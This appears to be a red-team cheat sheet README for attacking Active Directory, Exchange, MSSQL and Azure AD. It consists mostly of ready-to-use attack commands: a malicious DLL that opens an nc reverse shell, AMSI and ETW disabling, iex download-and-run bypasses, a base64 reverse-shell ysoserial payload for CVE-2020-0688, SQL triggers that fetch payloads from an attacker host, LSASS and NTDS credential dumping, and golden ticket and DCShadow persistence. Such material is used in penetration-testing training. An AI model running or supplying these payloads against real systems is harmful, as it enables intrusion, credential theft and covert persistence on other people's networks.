This AD attacks CheatSheet, made by RistBS is inspired by the Active-Directory-Exploitation-Cheat-Sheet repo.

Edit : Thanks for 100 stars 😀

it is the first version of this repo, many things will be added later, so stay tuned ! 😀

[⭐] – Version 2 of the cheatsheet will be released soon with more than 60 new techniques against the active directory.

Informations :

  • 1. some courses will be in French because I don’t have time to translate everything but don’t worry it will be translated in some time.
  • 2. it is possible that some courses on the red team are not written but it will happen, it is a cheatsheet in constant evolution.

Red Team Bible

Code Snippet are here !

Finished : 18/73

⏳ = Not Finished

Red Team Techniques

Attacking Office 365

Binary Exploitation, Shellcoding & IoT Security :

Offensive Windows

Cloud Security

Miscs

Active-directory-Cheat-sheet

Summary

Tools

Powershell tools :

nishang has multiples useful scripts for windows pentesting in Powershell environement.

powerview is a script from powersploit that allow enumeration of the AD architecture for a potential lateral mouvement.

Enumeration tools :

AD exploitation toolkit :

Dumping Tools :

Listener Tool :

Powershell Components

Powershell Tricks

PS-Session :

#METHOD 1
$c = New-PSSession -ComputerName 10.10.13.100 -Authentication Negociate -Credential $user
Enter-PSSession -Credential $c -ComputerName 10.10.13.100

# METHOD 2
$pass = ConvertTo-SecureString '[email protected]' -asplaintext -force
$cred = New-Object System.Management.Automation.PSCredential('$user, $pass')
Enter-PSSession -Credential $c -ComputerName 10.10.13.100

PSWA Abusing

allow anyone with creds to connect to any machine and any config

[ ! ] this action require credentials.

Add-PswaAuthorizationRule -UsernName * -ComputerName * -ConfigurationName *

Enumeration

Find user with SPN

using PowerView :

Get-NetUser –SPN

using AD Module :

Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName

Trusts Enumeration

MapTrust :

Invoke-MapDomainTrust

Domain trusts for the current domain :

using PowerView :

Get-NetDomainTrust #Find potential external trust
Get-NetDomainTrust –Domain $domain

using AD Module :

Get-ADTrust
Get-ADTrust –Identity $domain

Forest Enumeration

Details about the current forest :

Get-NetForest
Get-NetForest –Forest $forest
Get-ADForest
Get-ADForest –Identity $domain

GPO enumeration

List of GPO

Get-NetGPO
Get-NetGPO -ComputerName $computer
Get-GPO -All
Get-GPResultantSetOfPolicy -ReportType Html -Path C:\Users\Administrator\report.html

ACL and ACE enumeration

Enumerate All ACEs

 Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq
$("$env:UserDomain\$env:Username")) {$_}}

Enumerate users and permissions

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUsers"}

Verify if the user already has a SPN :

using PowerView :

Get-DomainUser -Identity supportuser | select serviceprincipalname

using AD Module :

Get-ADUser -Identity supportuser -Properties ServicePrincipalName | select ServicePrincipalName

LDAP Enumeration

ldapsearch -x -h 10.10.10.x -p 389 -s base namingcontexts
ldapsearch -h 10.10.10.x -p 389 -x -b "dc=boxname,dc=local"

find service accounts

ldapsearch -h 10.10.10.161 -p 389 -x -b "dc=box,dc=local" | grep "service"

Enumeration with ldapsearch as authenticated user

ldapsearch -x -h ldap.megacorp.corp -w '$pass'
ldapsearch -x -h 10.10.131.164 -p 389 -b "dc=megacorp,dc=corp" -D '[email protected]' -w 'vs2k6!'
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -s base namingcontexts
ldapsearch -D "cn=binduser,ou=users,dc=megacorp,dc=corp" -w 'J~42%W?]g' -b 'dc=megacorp'

Enumeration with ldapdomaindump (authenticated) with nice output

ldapdomaindump 10.10.197.117 -u 'megacorp.corp\john' -p '$pass' --no-json --no-grep

Enumeration with nmap scripts

nmap -p 389 --script ldap-search 10.10.10.x
nmap -n -sV --script "ldap*" -p 389 10.10.10.x
nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='MEGACORP.CORP',userdb=/usr/share/wordlists/seclists/Usernames/Names/names.txt 10.10.13.100

SMB Enumeration

enumeration with crackmapexec as unauthenticated

crackmapexec smb 10.10.10.x --pass-pol -u '' -p ''

enumeration with crackmapexec (authenticated)

crackmapexec smb 10.10.11.129 --pass-pol -u usernames.txt -p $pass --continue-on-sucess
crackmapexec smb 10.10.11.129 --pass-pol -u xlsx_users -p $pass --continue-on-sucess

enumeration with kerbrute, against Kerberos pre-auth bruteforcing:

/opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.local --dc 10.10.13.100 -o kerbrute.out users.txt
/opt/kerbrute/dist/kerbrute_linux_amd64 userenum -d megacorp.htb --dc 10.10.13.100 -o kerbrute.out users.lst --downgrade

by default, kerbrute uses the most secure mode (18 = sha1) to pull some hash. Using the downgrade option we can pull the deprecaded encryption type version (23 = rc4hmac). Or use getNPusers to get some hash instead, it’s safer!

provide a password or a list of passwords to test against users

crackmapexec smb 10.10.13.100 --pass-pol -u users.lst -p password_list

Enumerate some users

crackmapexec smb 10.10.13.100 -u users.txt -p $pass --users | tee userlist.txt

Password Spraying on the domain

/opt/kerbrute/dist/kerbrute_linux_amd64 passwordspray -d MEGACORP.CORP --dc 10.10.13.100 users.lst '$pass'

Dump Domain, Groups and Users using Bloodhound-Python:

bloodhound-python -c all -u $user -p $password -d $domain -dc $dc_domain -ns $ip --disable-pooling -w1 --dns-timeout 30

Setting up Bloodhound:

sudo neo4j console
sudo bloodhound

RID Cycling

Global Structure :

S-1-5-21-40646273370-24341400410-2375368561-1036
  • S-1-5-21: S refers SID (Security Identifier)
  • 40646273370-24341400410-2375368561: Domain or Local Computer Identifier
  • 1036: RID (Relative Identifier)

User SID Structure :

  • S-1-5-21-40646273370-24341400410-2375368561: Domain SID
  • 1036: User RID

using Crackmapexec :

cme smb $target -u $username -p $password --rid-brute

using lookupsid :

lookupsid.py MEGACORP/$user:'$password'@$target 20000

the value “20000” in lookupsid is to indicate how many RID will be tested

Privilege Escalation

Token Impersonation

The Impersonation token technique allows to impersonate a user by stealing his token, this token allows to exploit this technique because of the SSO processes, Interactive Logon, process running…

using PowerSploit :

list tokens

# Show all tokens
Invoke-TokenManipulation -ShowAll
# show usable tokens
Invoke-TokenManipulation -Enumerate

Start a new process with the token of a user

Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

process token manipulation

Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe -ProcessId $id

using Incognito :

load incognito and list tokens :

meterpreter > use incognito
meterpreter > list_tokens -g

impersonate token of “NT AUTHORITY\SYSTEM” :

meterpreter > getuid
Server username: job\john
meterpreter > impersonate_token "BUILTIN\Administrators"
[+] Delegation token available
[+] Successfully impersonated user NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Kerberoasting

Enumerate kerberoastable user

Get-DomainUser -SPN | select name,serviceprincipalname

using impacket :

GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

using crackmapexec

crackmapexec ldap $target -u $user -p $password --kerberoasting kerberoastable.txt --kdcHost $kdc

crack the hash :

# using JTR :
john --format=krb5tgs spn.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 13100 -a 0 spn.txt wordlist.txt --force

ASREPRoasting

Enumerate asreproastable user

Get-DomainUser -PreauthNotRequired | select name
GetNPUsers.py -format hashcat -outputfile ASREProastables.txt -dc-ip $kdc '$domain/$user:$password' -request

cracking the hash :

hashcat -m 18200 -a 0 hash wordlist.txt --force

DNSAdmin

Enumerate users in this group :

# METHOD 1
Get-NetGroupMember -GroupName "DNSAdmins"
# METHOD 2
Get-ADGroupMember -Identity DNSAdmins

This attack consists of injecting a malicious arbitrary DLL and restarting the dns.exe service, since the DC serves as a DNS service, we can elevate our privileges to a DA.

DLL File :

#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		system("c:\\windows\\system32\\spool\\drivers\\color\\nc.exe -e cmd.exe 10.10.14.51 5555");
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

you can also create a dll file using msfvenom : msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' - f dll > evil.dll it’ll execute net user administrator aked /domain with SYSTEM privileges

set the remote DLL path into the Windows Registry

dnscmd dc01 /config /serverlevelplugindll \\10.10.14.33\share\evil.dll

\\10.10.14.33\share\evil.dll : SMB Share.

restart DNS service

sc.exe stop dns
sc.exe start dns

Lateral Mouvement

WMIExec

uses kerberos auth

impacket-wmiexec -k -no-pass administrator@10.10.10.248

Credentials Dumping

LSASS Dumping

cme <protocol> <ip> -u <user> -p <pass> -M lsassy
procdump --accepteula -ma lsass lsass.dmp

smbclient.py MEGACORP.LOCAL/john@dc01.megacorp.local
# use C$
# cd Windows\Temp
# put procdump.exe
psexec.py MEGACORP.LOCAL/john@dc01.megacorp.local "C:\\Windows\\Temp\\procdump.exe -accepteula -ma lsass C:\\Windows\\Temp\\lsass.dmp"

smbclient.py MEGACORP.LOCAL/john@dc01.megacorp.local
# get lsass.dmp

parse creds with mimikatz

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

you can do it locally with mimikatz using : sekurlsa::logonpasswords.

NTDS Dumping

Abusing DRSUAPI for NTDS dumping

crackmapexec smb 10.10.13.100 -u 'Administrator' -p $password --ntds drsuapi

Abusing VSS for NTDS dumping

using Crackmapexec :

crackmapexec smb 192.168.1.105 -u 'Administrator' -p '[email protected]' --ntds vss

you can do it manually too.

vssadmin create shadow /for=C:
copy $ShadowCopyName\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit.save
vssadmin delete shadows /shadow=$ShadowCopyId

DPAPI Abusing

dump DPAPI BK

dpapi.py backupkeys -t $domain/$user:$password@$target

Decrypt DPAPI MK

# Decrypt DPAPI MK using BK
dpapi.py masterkey -file "/path/to/masterkey" -pvk "/path/to/backup_key.pvk"
# Decrypt DPAPI MK using MK password and user SID
dpapi.py masterkey -file "/path/to/masterkey" -sid $USER_SID -password $mk_password

decrypting protected file using MK

dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY

crack DPAPI master key with JTR

python DPAPImk2john.py --sid="$SID" --masterkey="$MASTER_KEY" --context="local"
john dpapimk.dmp --wordlist=/usr/share/wordlists/rockyou.txt --rules=custom.rule

LSA Dumping

you can use mimikatz with this command : lsadump::secrets

SAM Dumping

save SYSTEM hive and SAM in another directory

reg save HKLM\SAM c:\path\to\SAM
reg save HKLM\SYSTEM c:\path\to\SYSTEM
lsadump::sam /system:c:\path\to\SYSTEM /sam:c:c:\path\to\SAM

or just use : lsadump::sam

[ 📝 ] Notes : you can dump SAM and LSA with crackmapexec or secretdump using these commands :

secretsdump.py 'DOMAIN/USER:[email protected]'
crackmapexec smb $ip -d $domain -u $user -p $password --sam/--lsa

Dump Registry Remotely and Directly

[ ❓ ] What is Registry ? : the Registry is divided into several sections called hives. A registry hive is a top level registry key predefined by the Windows system to store registry keys for specific objectives. Each registry hives has specific objectives, there are 6 registry hives, HKCU, HKLM, HKCR, HKU, HKCC and HKPD the most enteresting registry hives in pentesting is HKU and HKLM.

HKEY_LOCAL_MACHINE called HKLM includes three keys SAM, SYSTEM, and SECURITY.

dump SYSTEM and SECURITY remotely from HKLM :

secretsdump.py local -system SYSTEM -security SECURITY -ntds ntds.dit -outputfile hashes

dump HKU registry remotely with hashes argument :

impacket-reg -hashes :34ed87d42adaa3ca4f5db34a876cb3ab domain.local/[email protected] query -keyName HKU\\Software

HKU\Software
HKU\Software\GiganticHostingManagementSystem
HKU\Software\Microsoft
HKU\Software\Policies
HKU\Software\RegisteredApplications
HKU\Software\Sysinternals
HKU\Software\VMware, Inc.
HKU\Software\Wow6432Node
HKU\Software\Classes

Read GMSA Password

$user = 'USER'
$gmsa = Get-ADServiceAccount -Identity $user -Properties 'msDS-ManagedPassword'
$blob = $gmsa.'msDS-ManagedPassword'
$mp = ConvertFrom-ADManagedPasswordBlob $blob
$cred = New-Object System.Management.Automation.PSCredential $user, $mp.SecureCurrentPassword

gMSA dumping:

python3 gMSADumper.py -u $user -p $password -d $domain.local

Hash Cracking

LM :

# using JTR :
john --format=lm hash.txt
# using hashcat :
hashcat -m 3000 -a 3 hash.txt

NT :

# using JTR :
john --format=nt hash.txt --wordlist=wordlist.txt
# using hashcat :
hashcat -m 1000 -a 3 hash.txt

NTLMv1 :

# using JTR :
john --format=netntlmv1 hash.txt
# using hashcat :
hashcat -m 5500 --force -a 0 hash.txt wordlist.txt

NTLMv2 :

# using JTR :
john --format=netntlmv2 hash.txt
# using hashcat :
hashcat -m 5600 --force -a 0 hash.txt wordlist.txt

note : some Hash Type in hashcat depend of the etype

Bruteforce AD Password

Custom Username and Password wordlist

default password list (pwd_list) : Autumn Spring Winter Summer create passwords using bash & hashcat :

for i in $(cat pwd_list); do echo $i, echo ${i}\!; echo ${i}2019; echo ${i}2020 ;done > pwds
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u
haschat --force --stdout pwds -r /usr/share/hashcat/rules/base64.rule -r /usr/share/hashcat/rules/toogles1.r | sort u | awk 'length($0) > 7' > pwlist.txt

default username list (users.list) :

john doe
paul smith
jacaques miller

create custom usernames using username-anarchy :

./username-anarchy --input-file users.list --select-format first,first.last,f.last,flast > users2.list

Pivoting

Pivot with WDFW via custom rules

netsh interface portproxy add v4tov4 listenaddress=LOCAL_ADDRESS listenport=LOCALPORT connectaddress=REMOTE_ADDRESS connectport=REMOTE_PORT protocol=tcp

allow connections to localport

netsh advfirewall firewall add rule name="pivot like a pro" protocol=TCP dir=in localip=LOCAL_ADDRESS localport=LOCAL_PORT action=allow

SMB Pipes

Local/Remote ports can be forwarded using SMB pipes. You can use Invoke-Piper or Invoke-SocksProxy for that.

  • Invoke-Piper : used to forward local or remote ports
  • Invoke-SocksProxy : used for dynamic port forwarding

Case 1 Local port forwarding through pipe forPivot: -L 33389:127.0.0.1:3389

SERVER SIDE :

Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3389

CLIENT SIDE :

Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 33389

Case 2 Admin only remote port forwarding through pipe forPivot: -R 33389:127.0.0.1:3389

SERVER SIDE :

Invoke-PiperServer -remote -bindPipe forPivot -bindPort 33389 -security Administrators

CLIENT SIDE :

Invoke-PiperClient -remote -destPipe forPivot -pipeHost $server_ip -destHost 127.0.0.1 -destPort 3389

Case 3 Dynamic port forwarding with Invoke-SocksProxy with forPivot as NamedPipe: -D 3333

SERVER SIDE :

Invoke-SocksProxy -bindPort 3333
Invoke-PiperServer -bindPipe forPivot -destHost 127.0.0.1 -destPort 3333

CLIENT SIDE :

Invoke-PiperClient -destPipe forPivot -pipeHost $server_ip -bindPort 3333

SharpSocks

SharpSocks is mostly used in C2 Frameworks and work with C2 Implants

build a server:

PS> .\SharpSocksServer.exe --cmd-id=$id --http-server-uri=$uri --encryption-key=$key -v

RDP Tunneling via DVC

sharings drives:

PS > regsvr32 UDVC-Plugin.dll
PS > subst.exe x: C:\Users\john\RDP_Tools

map the drives:

PS > net use x: \\TSCLIENT\X

create a server with SSFD.exe

PS > ssfd.exe -p 8080

Redirect SSF port with DVC server:

PS > ./UDVC-Server.exe -c -p 8080 -i 127.0.0.1

[*] Setting up client socket
[*] Connected to: 127.0.0.1:8080
[*] Starting thread RsWc
[*] Starting thread RcWs
[*] Wait for threads to exit...

SSFD as a SOCK proxy

PS > ssf.exe -D 9090 -p 31337 127.0.0.1

Persistence

SIDHistory Injection

AdminSDHolder and SDProp

[ ❓ ] : With DA privileges (Full Control/Write permissions) on the AdminSDHolder object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions) to the AdminSDHolder object. In 60 minutes (when SDPROP runs), the user will be added with Full Control to the AC of groups like Domain Admins without actually being a member of it.

using PowerView :

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights All -Verbose

using AD Module :

Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=megacorp,DC=megacorp,DC=local' -Principal $user -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName $user -Rights WriteMembers -Verbose

Run SDProp manually

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

ACLs and ACEs Abusing

GenericAll

list all groups to which the user belongs and has explicit access rights

Get-DomainGroup | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID
$_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}}
net group Administrator aker /add /domain

Enhanced Security Bypass

AntiMalware Scan Interface

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

patching AMSI from Powershell6 :

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('s_amsiInitFailed','NonPublic,Static').SetValue($null,$true)

ConstrainLanguageMode

Bypass CLM using runspace:

static void Main(string[] args){
    Runspace run = RunspaceFactory.CreateRunspace();
    run.Open();

    PowerShell shell = PowerShell.Create();
    shell.Runspace = run;

    String cmd = "iex(new-object net.webclient).DownloadString('http://10.10.14.33/script')";
    shell.AddScript(cmd);
    shell.Invoke();
    run.Close();
}

Just Enough Administration

show current languages level :

# METHOD 1
(Get-PSSessionConfiguration -Name Test).LanguageMode
# METHOD 2
$ExecutionContext.SessionState.LanguageMode # use property

Bypass JEA in ConstrainedLanguage :

{ C:\Windows\System32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.33 9003 }

ExecutionPolicy

powershell -ExecutionPolicy Bypass -File C:\script.ps1

bypass EP using encoding :

$command = "Write-Host 'hello world'"; $bytes = [System.Text.Encoding]::Unicode.GetBytes($command);$encoded = [Convert]::ToBase64String($bytes); powershell.exe -EncodedCommand $encoded

RunAsPPL for Credentials Dumping

[ ❓ ] : RunAsPPL is an additional LSA protection to prevent reading memory and code injection by non-protected processes.

bypass RunAsPPL with mimikatz :

mimikatz # privilege::debug
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # misc::skeleton
mimikatz # !-

ETW Disabling

[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)

you can try obfuscation techniques on this command. To learn more about ETW see my course here

MS Exchange

OWA EWS and EAS Password Spraying

using MailSniper :

# OWA (Outlook web App)
Invoke-PasswordSprayOWA -ExchHostname $domain -UserList .\users.txt -Password $password
# EAS (Exchange ActivSync)
Invoke-PasswordSprayEAS -ExchHostname $domain -UserList .\users.txt -Password $password
# EWS (Exchange Web Service)
Invoke-PasswordSprayEWS -ExchHostname $domain -UserList .\users.txt -Password $password

using ruler :

./ruler -domain $domain --insecure brute --userpass $userpass.txt -v

GAL and OAB Extraction

GAL (Global Address Book) Extraction

./ruler -k -d $domain -u $user -p $password -e user@example.com --verbose abk dump -o email_list.txt

using powershell :

PS C:\> Get-GlobalAddressList -ExchHostname mx.megacorp.com -UserName $domain\$user -Password $password -OutFile email_list.txt

OAB (Offline Address Book) Extraction

extract OAB.XML file which contains records

curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data

extract LZX compressed file

curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt

using oaburl.py :

./oaburl.py $domain/$user:[email protected].com -e valid@domain.com

PrivExchange

PrivExchange use PushSubscription Feature, a user is able to capture the NTLM authentication data of an Exchange server With a simple call to the “PushSubscription” API

responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug

ProxyLogon

ProxyLogon is the name given to CVE-2021-26855 that allows an attacker to bypass authentication and impersonate users on MS Exchange servers

python proxylogon.py $ip [email protected]

using metasploit:

use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce

CVE-2020-0688

this CVE allow RCE on EWS through fixed cryptographic keys

Get Values for RCE :

  • ViewStateUserKey : document.getElementById("_VIEWSTATEGENERATOR").value
  • ViewStateGenerator : ASP.NET_SessionId
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy

MSSQL Server

UNC Path Injection

[ ❓ ] : Uniform Naming Convention allows the sharing of resources on a network via a very precise syntax: \IP-Server\shareName\Folder\File

launch responder : responder -I eth0

EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--

MC-SQLR Poisoning

The SQL Server Resolution Protocol is a simple application-level protocol that is used for the transfer of requests and responses between clients and database server discovery services.

CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"

we captured the hash of the Administrator with this VBA script.

[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...

DML, DDL and Logon Triggers

[ ❓ ] : Triggers are a stored procedure that automatically executes when an event occurs in the SQL Server.

  • Data Definition Language (DDL) – Executes on Create, Alter and Drop statements and some system stored procedures.
  • Data Manipulation Language (DML) – Executes on Insert, Update and Delete statements.
  • Logon Triggers – Executes on a user logon.

Triggers Listing

list All triggers

SELECT * FROM sys.server_triggers

list triggers for a database

SELECT * FROM sys.server_triggers

list DDL and DML triggers on an instance using powershell

Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose

use DML triggers for persistence

USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO

use DDL triggers for persistence

CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO

use Logon triggers for persistence

CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;

Forest Persistence

DCShadow

DCShadow temporarily registers a new domain controller in the target domain and uses it to “push” attributes like SIDHistory, SPNs… on specified objects without leaving the change logs for modified object!

⚠️ Requirements :

  • DA privileges are required to use DCShadow.
  • The attacker’s machine must be part of the root domain.

The attack needs 2 instances on a compromised machine :

1 instance : start RPC servers with SYSTEM privileges and specify attributes to be modified

mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"

2 instance : with enough privileges of DA to push the values :

mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push

Cross Forest Attacks

Trust Tickets

Dumping Trust Key

Invoke-Mimikatz -Command '"lsadump::trust /patch"'

Forging IR-TGT using Trust key

Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'

get TGS for CIFS service

asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local

use TGS for CIFS service

kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$

Using KRBTGT hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi

Azure Active Directory

AZ User Enumeration

connection to Azure Active Directory with Connect-MsolService.

PS> Connect-MsolService -Credential $cred

this command allow enumeration with MFA (MultiFactor Authentification)

Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv

locate Azure AD Connect Server

ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description

Enumeration using AZ CLI

Storage Enumeration

blob storage enumeration

az storage account list -o table
az storage account list -o json | jq -r '.[].name'

PowerZure

create a new user

New-AzureUser -Username '[email protected]' -Password catAker

Executes a command on a specified VM

Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"

Golden SAML

⚠️ Requirements :

  • Admin privileges of ADFS server
  • ADFS Public Certificate
  • IdP Name
  • Role Name

Obtain ADFS Public Certificate:

PS > [System.Convert]::ToBase64String($cer.rawdata)

Obtain IdP Name:

PS > (Get-ADFSProperties).Identifier.AbsoluteUri

Obtain Role Name:

PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule

a toolkit to exploit Golden SAML can be found here

** Golden SAML is similar to golden ticket and affects the Kerberos protocol. Like the Golden Ticket, the Golden SAML allows an attacker to access resources protected by SAML agents (examples: Azure, AWS, vSphere, Okta, Salesforce, …) with elevated privileges through a golden ticket.**

ShockNAwe:

    1. Remotely extracts the AD FS configuration settings
    1. Forges and signs a Golden SAML token
    1. Extracts the ‘assertion’ portion of the Golden SAML token and passes it to the Azure Core Management API to obtain a valid access token for the API
    1. Enumerates the Subscription ID
    1. Enumerates the complete list of VMs in the subscription
    1. Executes arbitrary commands on all VMs as SYSTEM/root

WhiskeySAML:

    1. Remotely extract AD FS configuration settings
    1. Forge and sign Golden SAML tokens
    1. Pass the Golden SAML token to the Microsoft Azure portal
    1. Log into the Azure portal as any user while bypassing Azure MFA configurations
